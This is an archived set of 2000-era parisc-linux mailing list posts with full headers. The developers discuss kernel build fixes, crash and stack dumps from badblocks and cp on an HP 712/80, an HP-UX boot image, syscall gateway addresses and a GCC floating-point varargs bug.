	id CB3F1B005; Fri, 25 Aug 2000 14:35:03 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000825074716.M29677@vodka.thepuffingroup.com>; from matthew@wil.cx on Fri, Aug 25, 2000 at 07:47:16AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7798

On Fri, Aug 25, 2000 at 07:47:16AM -0400, Matthew Wilcox wrote:
> On Fri, Aug 25, 2000 at 12:40:49PM +0100, Richard Hirst wrote:
> > Kernel wouldn't build - mostly arch/parisc/kernel/signal.c problems,
> > needs to include linux/version.h, PF_PTRACED undefined...
> 
> i just added sc_sar to the struct sigcontext.  i'm sure dhd has the
> right fix and will commit it once he gets in... rebuilding now.
> Hmm.  Wonder why that version number test doesn't work... oh well,
> changing it to #if 1 gets it compiled for me.

Needs #include <linux/version.h>.  I think I still had PF_PTRACED
undefined after that.

Richard


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Claudiu Carter <ccarter@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] badblocks segmentation fault when using mke2fs -c
Date: Fri, 25 Aug 2000 12:43:18 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <39A6A225.408A2DF0@linuxcare.com>
References: <20000825124049.B13420@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619080 3007 80.91.229.3 (22 Nov 2014 01:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ccarter@linuxcare.com  Fri Aug 25 10:50:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17077
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 10:50:19 -0600
Original-Received: (qmail 24647 invoked by uid 15267); 25 Aug 2000 16:50:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24635 invoked from network); 25 Aug 2000 16:50:16 -0000
Original-Received: from ottawa.linuxcare.com (HELO fuzzynavel.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 16:50:16 -0000
Original-Received: from linuxcare.com (IDENT:cloud@localhost.localdomain [127.0.0.1])
	by fuzzynavel.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA02546
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 12:43:20 -0400
Original-Sender: cloud@fuzzynavel.thepuffingroup.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7799

Hi, i just though all should know that mke2fs works, but badblocks doesn't.
badblocks was run from the PA/Linux Development CD 0.1
i ran 'mke2fs -c -v /dev/sda3'
and got:

mke2fs 1.19-WIP, 7-Jul-2000 for EXT2 FS 0.5b, 95/08/09
ext2fs_check_if_mount: No such file or directory while determining whether
/dev.Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
118528 inodes, 237030 blocks
11851 blocks (0.00%) reserved for the super user
First data block=0
8 block groups
32768 blocks per group, 32768 fragments per group
14816 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 376

Running command: badblocks -b 4096 -s /dev/sda3 237030
do_page_fault() pid=21 command='badblocks'

PSW  : 0004fe0b  GR 1 : 00063580  GR 2 : 00000000  GR 3 : 00000000
GR 4 : 00000000  GR 5 : 00000000  GR 6 : 00000000  GR 7 : 00000000
GR 8 : 200200c8  GR 9 : 00000000  GR10 : 00000000  GR11 : 00000000
GR12 : 00000000  GR13 : 00000400  GR14 : 00000000  GR15 : 00001770
GR16 : 00000000  GR17 : 00000010  GR18 : 00061580  GR19 : 00000024
GR20 : 0006  GR21 : 81010100  GR22 : 62626262  GR23 : 00000000
GR24 : 00000000  GR25 : 200200c8  GR26 : 00000000  GR27 : 00061580
GR28 : 00000000  GR29 : ffffffff  GR30 : 20020200  GR31 : 00011b73
SR0  : 00002005  SR1  : 00002005  SR2  : 00000000  SR3  : 00002005
SR4  : 00002005  SR5  : 00002005  SR6  : 00002005  SR7  : 00002005

IASQ : 00002005 00002005 IAOQ : 00005827 0000582b
 IIR : 0ce01013 ISR : 00002005 IOR : 00000000

sending SIGSEGV
Segmentation fault
Writing inode tables: done
Writing superblocks and filesystem accounting information: done

L8R, Cloud.


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Claudiu Carter <ccarter@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] i halted my 712/80 by executing cp -R
Date: Fri, 25 Aug 2000 13:15:33 -0400
Lines: 134
Approved: news@gmane.org
Message-ID: <39A6A9B5.E5440FB5@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C048C7919A5019FB3E4B998F"
X-Trace: ger.gmane.org 1416619080 3013 80.91.229.3 (22 Nov 2014 01:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ccarter@linuxcare.com  Fri Aug 25 11:22:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17454
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 11:22:13 -0600
Original-Received: (qmail 28501 invoked by uid 15267); 25 Aug 2000 17:22:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28492 invoked from network); 25 Aug 2000 17:22:10 -0000
Original-Received: from ottawa.linuxcare.com (HELO fuzzynavel.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 17:22:10 -0000
Original-Received: from linuxcare.com (IDENT:cloud@localhost.localdomain [127.0.0.1])
	by fuzzynavel.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA02676
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 13:15:34 -0400
Original-Sender: cloud@fuzzynavel.thepuffingroup.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7800

This is a multi-part message in MIME format.
--------------C048C7919A5019FB3E4B998F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

so i tried to copy the entire mirror directory (~450MB)from the
development cd v0.1 and got a stack dump
if anyone is interested in seeing the actual output that i got, i have
enclosed a file with the whole stack dump, register dump and all other
use-(full / less :) info .
The 712/80 was booted using the development cd and i was trying to copy
from CD to HDD.

L8R, Cloud.

--------------C048C7919A5019FB3E4B998F
Content-Type: text/plain; charset=us-ascii;
 name="cp.error"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cp.error"

# cp -R mirror mnt
ll_rw_block: device 5a:5a: only 1024-char blocks implemented (23130)

Dumping Stack from c4f68000 to c4f68b00:
8000 00000000 00000840 00000000 00000000 c027ac10 00000001 00000000 ffffffff
8020 00000000 00000014 00000000 00000000 c4f3d220 00000000 00000000 c02776f0
8040 c0d2803c c4f64000 c4f9c000 00000000 00000000 00000000 00000000 00000000
8060 00000000 00000000 00000002 00000001 00000000 00000001 00000000 c4f9c000
8080 c4f9c000 00000000 c4f64000 00000000 00000000 c02cfd9c 00000000 c4f6809c
80a0 c4f6809c c4f680a4 c01217a4 00000000 00000000 00000000 00000000 00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 c4f68000 c0126dd0
80e0 00000000 00000000 0000376e 00000000 00000000 00000039 00000000 000037a7
8100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81a0 00000000 0000 00000000 00000000 00000000 00000000 00000000 00000000
81c0 fffffeff fffffeff ffffffff 00000000 00000000 ffffffff ffffffff ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
8200 ffffffff 00000500 00000500 00000400 00000400 ffffffff ffffffff ffffffff
8220 ffffffff 00006b73 77617064 00000000 00000000 00000000 00000000 00000000
8240 00000000 00000000 00000000 00004000 c026caf8 00004800 c02cf800 c4ffed60
8260 c024048d c026b940 00000008 c02ac600 c02d0800 c0122e90 c02ce800 c02ac000
8280 c028fc40 c027ac50 00000000 0004000a 0000003c 0000003e c027a800 00000001
82a0 c02b27a0 00000004 c02b278b 00000000 c013b720 0000003e 00000000 00000015
82c0 0000000b c027ac50 c027a800 c027a800 00000c00 000000ff 04f9c740 0000000d
82e0 c02ae000 c00003a8 00000000 00000003 00000000 c0272000 00000000 c02af100
8300 c4f9c900 c0122e58 000d081f 00000000 00000000 00000000 00000000 00000000
8320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8340 40800000 00000000 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff
8360 00000000 00000000 00000000 00000000 41800000 00000000 00000010 00000010
8380 00000000 00000000 7fffffff 7fffffff 41000000 00000000 40800000 00000000
83a0 7fffffff 7fffffff 41000000 00000000 7fffffff 7fffffff 00000000 00000f3c
83c0 00000019 000000a8 0000009c 00000000 0000002a 00000000 40200000 00000000
83e0 41800000 7fffffff 40000000 00000000 40000000 00000000 40800000 c4f686c0
8400 c010f4f0 00000000 00000000 00000000 00000000 00000000 00282000 00000000
8420 c0281040 c0281060 00000000 c0281200 00000000 00000000 ffffffff ffffffff
8440 00000000 c4f68440 00000000 00000000 00000000 00000000 00000000 00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
84a0 00000000 00000000 00000000 c010f448 00000000 00000000 00000000 00000000
84c0 c4f9c8c8 00000000 c4f64540 c4f68000 c0281708 00000000 c4f64000 c4f64540
84e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8500 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8520 00000000 00000000 00000000 c013b7e4 00000000 00000000 00000000 00000000
8540 c0285000 00000001 c4f68000 c027ba1c 00000002 c027b990 c4f68558 c013c4f0
8560 c4f68000 00000000 00000001 c018b2c8 00000000 c4f92260 c4f9c808 c4f9c810
8580 c4f92260 00000000 c028d000 00000001 c027b800 c02d0800 c0285000 00000001
85a0 c4f68000 c027ba1c 0000000b c013b658 00000000 00000010 c4f68780 c0e0
85c0 c028d000 00000001 c4f685c8 c4f685c8 c4f685c8 c4f685c8 00000c00 00000000
85e0 00004000 c4f9c810 c4f9c808 c4f92260 00000000 c028d000 00000001 c027b800
8600 c02d0800 00000004 00000004 00000000 00000001 00000008 00000000 c028d000
8620 00000001 c027b800 c02d0800 c013b588 00000004 00000001 00000002 00000008
8640 c4f3d0e0 00000000 c4f3d0f4 00000000 00000004 00000000 c02b8800 00000000
8660 00000004 00000001 0000001e c0131218 0000a000 00004000 00000000 00000c00
8680 00000200 c027b800 c02d0800 c023e800 c027b000 c027b7f0 c027d930 c4f685c8
86a0 c02d0fb8 000047c8 c0427ad0 c0427acc c0427ab8 c0427ad4 c02d0800 c027b800
86c0 00000200 00000004 00000000 0000000b 00000009 00000000 0000000b c4f924c0
86e0 c034d2f8 c034d2f8 c034d2c8 c0145a6c 00000000 0000485e c4f688c0 c018ba98
8700 c08604a0 c02b7e60 c2f7b200 00000002 c2f7b200 5a5a5a5a c0427ad4 c02b7e5c
8720 c02b7e60 c08604a0 c08604a0 0000003e 0000003c 00000024 0000000b c027ac50
8740 c027a800 c027a800 00000c00 000000ff c02cd20c 00000001 c01a3564 00000001
8760 00000005 f0105801 00000005 c014589c 00000060 00003fff c4f9c800 c0122e58
8780 0006ff0b c0231800 c0139b20 c07f7fa0 c07f7d1c c4fff9e0 c07f7ca0 0000000b
87a0 c02b7800 c0145978 c0348d50 c018c814 ffffffff c02d0800 00000023 0000ffff
87c0 c027b000 ffffffff c0427ab8 c4f685c8 c02d0fb8 000047c8 c0427ad0 00000006
87e0 c2f7b200 5a5a5a5a c07f7ca0 c0272000 c07f7ca0 c037c3d0 c4f689c0 c018bb5c
8800 00000000 00000000 0000003c 0000003e 00005a5a 00000400 c02b7ddc c024fa94
8820 c02b278b c02b27af 00000023 c018c7b4 0000003c 0000024 0000000b c027ac50
8840 00000004 00000200 c027b800 c02d0800 c023e800 00000000 ffffffff c0427ab8
8860 c02d3c54 00000001 00000001 c014322c 00000400 00000001 c2f7b200 c0122e58
8880 00000000 c2f7b200 00000000 00000000 00000000 00000000 c024fad4 00000000
88a0 00000000 00000000 00000000 c0122e90 00000003 ae15631c 00000000 51eb851f
88c0 0004fe0b c02b7800 c0143200 00000003 c2f7b200 00000002 c4f68708 00000001
88e0 00000001 c02d3c54 c0427ab8 ffffffff 00000000 c023e800 c02d0800 c027b800
8900 00000200 00000004 00000000 5a5a5a5a 5a5a5a5a c02b7e3c c02ce794 00000001
8920 c027ac44 00005a5a c2f7b200 c0272000 00000048 00003fff c4f68b00 c0122e58
8940 00000000 00000000 0000003c 0000003e c027a800 00000001 c02b27af 00000004
8960 c02b278b c02b27af 00000023 0000003e 0000003c 00000024 0000000b c027ac50
8980 c027a800 c027a800 00000c00 000000ff c02cd20c 00000001 c01a3564 00000001
89a0 00000005 f0105801 00000005 c0272000 00000060 00003fff c4f9c800 c0122e58
89c0 000d081f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
89e0 00000000 00000000 00000000 00000000 00000003 ae15631c 00000000 51eb851f
8a00 00033d64 00000418 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
8a20 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
8a40 00000000 00002003 00000000 00002003 00000000 00000000 00000000 00000000
8a60 00000000 00000000 c0142504 c0142508 00000000 c4f68680 c4f68c40 0000001c
8a80 6a930040 00000000 5a5a5a7a c4f68780 00000100 00000000 c02cf800 c02cfd40
8aa0 c02cfd00 00000000 c02cf800 c01da87c c02cf800 c02cfd40 c02cfd00 00000000
8ac0 c027b000 c4f68680 0000000a 00000002 00000000 00000004 c4f68680 c027b800
8ae0 c02d0800 c023e800 c027b000 c0110d20 c4ff50e0 00000002 c0272560 00000200

Kernel Fault: Code=15 regs=c4f688c0 (Addr=5a5a5a7a)

PSW  : 0004fe0b  GR 1 : c02b7800  GR 2 : c0143200  GR 3 : 00000003
GR 4 : c2f7b200  GR 5 : 00000002  GR 6 : c4f68708  GR 7 : 00000001
GR 8 : 00000001  GR 9 : c02d3c54  GR10 : c0427ab8  GR11 : ffffffff
GR12 : 00000000  GR13 : c023e800  GR14 : c02d0800  GR15 : c027b800
GR16 : 00000200  GR17 : 00000004  GR18 : 00000000  GR19 : 5a5a5a5a
GR20 : 5a5a5a5a  GR21 : c02b7e3c  GR22 : c02ce794  GR23 : 00000001
GR24 : c027ac44  GR25 : 00005a5a  GR26 : c2f7b200  GR27 : c0272000
GR28 : 00000048  GR29 : 00003fff  GR30 : c4f68b00  GR31 : c0122e58
SR0  : 00000000  SR1  : 00002003  SR2  : 00000000  SR3  : 00002003
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000

IASQ : 00000000 00000000 IAOQ : c0142504 c0142508
 IIR : 6a930040 ISR : 00000000 IOR : 5a5a5a7a


--------------C048C7919A5019FB3E4B998F--


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX CD
Date: Fri, 25 Aug 2000 13:48:03 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008251346001.739-100000@blue.cdf.utoronto.ca>
References: <39A6A9B5.E5440FB5@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619080 3015 80.91.229.3 (22 Nov 2014 01:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Fri Aug 25 11:39:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17732
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 11:39:20 -0600
Original-Received: (qmail 15112 invoked by uid 15267); 25 Aug 2000 17:39:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15104 invoked from network); 25 Aug 2000 17:39:16 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 17:39:16 -0000
Original-Received: from blue.cdf.utoronto.ca (blue [128.100.31.7])
	by marvin.cdf.toronto.edu (Postfix) with ESMTP id 92F593C14
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 13:39:12 -0400 (EDT)
Original-Received: from localhost (apark@localhost)
	by blue.cdf.utoronto.ca (8.9.3/8.9.3) with ESMTP id NAA00751
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 13:48:03 -0400
X-Authentication-Warning: blue.cdf.utoronto.ca: apark owned process doing -bs
X-Sender: apark@blue.cdf.utoronto.ca
In-Reply-To: <39A6A9B5.E5440FB5@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7801

Is there anybody in Toronto who has HP-UX INSTALL CD?
If so, can I borrow it for about five minutes?  I only need it to change
console path on my 712/80.
Let me know, thanks.


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX CD
Date: Fri, 25 Aug 2000 11:54:42 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <E13SNgg-0002bL-00@noam.fc.hp.com>
References: <Pine.LNX.4.21.0008251346001.739-100000@blue.cdf.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619081 3017 80.91.229.3 (22 Nov 2014 01:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: bame@noam.fc.hp.com  Fri Aug 25 11:54:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA18058
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 11:54:36 -0600
Original-Received: (qmail 32402 invoked by uid 15267); 25 Aug 2000 17:54:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32389 invoked from network); 25 Aug 2000 17:54:32 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 17:54:32 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 11A78290; Fri, 25 Aug 2000 11:54:21 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA15506;
	Fri, 25 Aug 2000 11:54:30 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13SNgg-0002bL-00; Fri, 25 Aug 2000 11:54:42 -0600
In-Reply-To: Your message of "Fri, 25 Aug 2000 13:48:03 EDT."
             <Pine.LNX.4.21.0008251346001.739-100000@blue.cdf.utoronto.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:7802

= Is there anybody in Toronto who has HP-UX INSTALL CD?
= If so, can I borrow it for about five minutes?  I only need it to change
= console path on my 712/80.
= Let me know, thanks.

Matt Taggart was kind enough to put the required bits on our FTP site:
ftp://puffin.external.hp.com/pub/parisc/tools/uxbootlf

This is a bootable image -- use bootp or copy it to the front of
a tape or hard disk.

	-P


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Fri, 26 Mar 1999 06:12:38 -0500
Organization: mozilla.org diplomatic corps
Lines: 34
Approved: news@gmane.org
Message-ID: <36FB6BA6.C5F70C93@netscape.com>
References: <199903261539.KAA28977@lucifier.dial-up.user.akula.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619081 3038 80.91.229.3 (22 Nov 2014 01:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:01 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: mickey@openbsd.org
Original-X-From: shaver@netscape.com  Fri Mar 26 11:10:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA16475
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 11:10:26 -0500
Original-Received: (qmail 22291 invoked by uid 15267); 26 Mar 1999 16:09:08 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 22284 invoked from network); 26 Mar 1999 16:09:07 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 16:09:07 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id IAA02162
	for <hppa-linux@thepuffingroup.com>; Fri, 26 Mar 1999 08:09:48 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F97M8J00.MJ5; Fri, 26 Mar 1999 08:09:55 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7803

Michael Shalayeff wrote:
> Making, drinking tea and reading an opus magnum from Mike Shaver:
> > While we're on the topic, though: why 0xC0000004 and not 0xC0000000 as
> 0xC0000004 is because hpux uses it (;

Actually, I meant ``why does HP-UX use that address?''. =)

> dunno about linux's binary emulation principles, but for
> all bsd's the emulation parameters pointer is located in the proc
> structure, which allows syscall emulation to work even all
> the emulated os'es are using the same syscall entry point (on some
> architectures there might be only one possible way for syscall, 4 xampl)

Yes, we can do that too (and do on SPARC for Solaris at least, perhaps
SunOS as well), but it seems less efficient than just using different
syscall numbers or -- in the case of lovely hardware like PA-RISC --
using a different gateway address.

> > the target address?  (Although there are other bugs, like ``ldo 5,%r22''
> > instead of ``ldi 5,%r22'' in the Assembler Ref as well, so maybe this is
> > another?)
> there is no such pa-risc instruction like ldi, it's a pseudo-asm-insn
> which is actually ldo imm(0), rt
> the whole pa-risc asm is full of pseudo-insns (like comb, comib, b(ranch))

That I know, but ``ldo 5,%r22'' is illegal syntax (according to gas and
the assembler reference, anyway), and that's what appears in the
Assembler Ref.

Mike

-- 
158640.45 72598.35


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken floating-point varargs
Date: 25 Aug 2000 17:36:53 -0400
Organization: Linuxcare, Inc.
Lines: 26
Approved: news@gmane.org
Message-ID: <87lmxlowei.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619081 3049 80.91.229.3 (22 Nov 2014 01:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:01 +0000 (UTC)
Cc: law@cygnus.com
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Aug 25 15:37:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19774
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 15:37:55 -0600
Original-Received: (qmail 27251 invoked by uid 15267); 25 Aug 2000 21:37:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27242 invoked from network); 25 Aug 2000 21:37:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 21:37:52 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13SR9i-0000k0-00; Fri, 25 Aug 2000 17:36:54 -0400
Original-Lines: 25
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7804

Hi,

The variadic function code in GCC for HPPA is slightly broken for
floating point arguments.  This only affects the first and second
arguments, as all other ones will be passed on the stack.

The problem is that if a function uses va_start(), GCC emits a
prologue which stores the first four argument words to their
respective stack slots (sp-36 .. sp-48).  Unfortunately it does this
by simply copying general purpose registers 26 to 23 (arg0-arg3) to
these slots, even if some of the first four argument words are (parts
of) floating point values and thus reside in floating point registers.

See hppa_builtin_saveregs() in gcc/config/pa/pa.c for the code in
question.

It looks like we could fix this by checking the parameters and saving
from floating point argument registers instead, I'm just not sure how :-)

I'm wondering whether or not this manifests itself on HP/UX - would it
have something to do with (gack) argument relocation?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit cross compiler broken
Date: Fri, 25 Aug 2000 15:47:17 -0600
Lines: 3
Approved: news@gmane.org
Message-ID: <E13SRJl-0001kq-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619082 3050 80.91.229.3 (22 Nov 2014 01:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Fri Aug 25 15:47:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19973
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 15:47:10 -0600
Original-Received: (qmail 4659 invoked by uid 15267); 25 Aug 2000 21:47:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4645 invoked from network); 25 Aug 2000 21:47:07 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 21:47:07 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel1.hp.com (Postfix) with ESMTP id DBCAE62E
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 15:47:12 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA07943
